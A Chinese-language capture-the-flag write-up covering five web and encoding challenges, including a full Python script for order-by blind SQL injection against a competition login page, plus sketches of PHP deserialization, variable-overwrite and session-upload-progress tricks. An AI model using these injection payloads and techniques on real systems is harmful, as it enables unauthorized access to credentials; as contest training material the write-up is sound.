赞
踩
1.easyphp
通过观察可以发现img传参base64解码;同样的方法可得index.php源码
之后构造序列化。。。。。
2、calculate1,2
写wp前删掉了脚本,简述下:利用selenium运算公式并结合chromedriver进行10次提交
3、babysql
之后测试admin’orderby 1# 到3,直到4时
得知列数为3,通过fuzz发现union select可用,且页面返回第二列的内容即用户名,且常规注入不可行。尝试order by盲注,payload=admin’union select 1,2,‘c’ order by 3#。发现当字符小于等于密码时,显示2,当大于密码时显示admin。
由此写出脚本:
import requests url = "http://120.55.43.255:13004/login.php" print(hex(61)) flag = "" for i in range(1, 50): print(i) end = 31 head = 127 while abs(head - end) > 1: mid = (end + head) // 2 print(mid) data1 = flag + chr(mid) print(data1) sql = "admin'union select 1,2,0x{} order by 3#".format(data1.encode("hex")) s = requests.session() data = { 'username': sql, 'passwd': 'admin' } print(sql) result = requests.post(url=url, data=data) if "admin" in result.text: head = mid else: end = mid flag = flag + chr(end) print('flag:' + flag) print("flag:" + flag)
这里要注意大小写,因为MySQL比较大小时是不区分的。
最后一位是d,因为最后一位时就是正确的admin的passwd应该往后取一位
4、best_language
进来就是代码审计,第一个点:提交%s即可绕过
第二个点:传参时第一个参数为first=’u’
第三个点:变量覆盖,查找参数为数组的变量覆盖的函数,发现了extract。
随即传参,可以由文件包含得到class.php源码。
上来看到前两行,PHP_SESSION_UPLOAD_PROGRESS的利用
构造表单,抓包改参数。
代码大致意思由Monitor反序列化触发Welcome的__toString魔术方法,接着用到Come的execute方法,有个substr的waf还是好绕的,/…/即可。
熟悉的flag,之后利用之前的文件包含获取flag。
5.easy_encode
看到102 且大部分在127下。尝试了ascii编码转换,得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。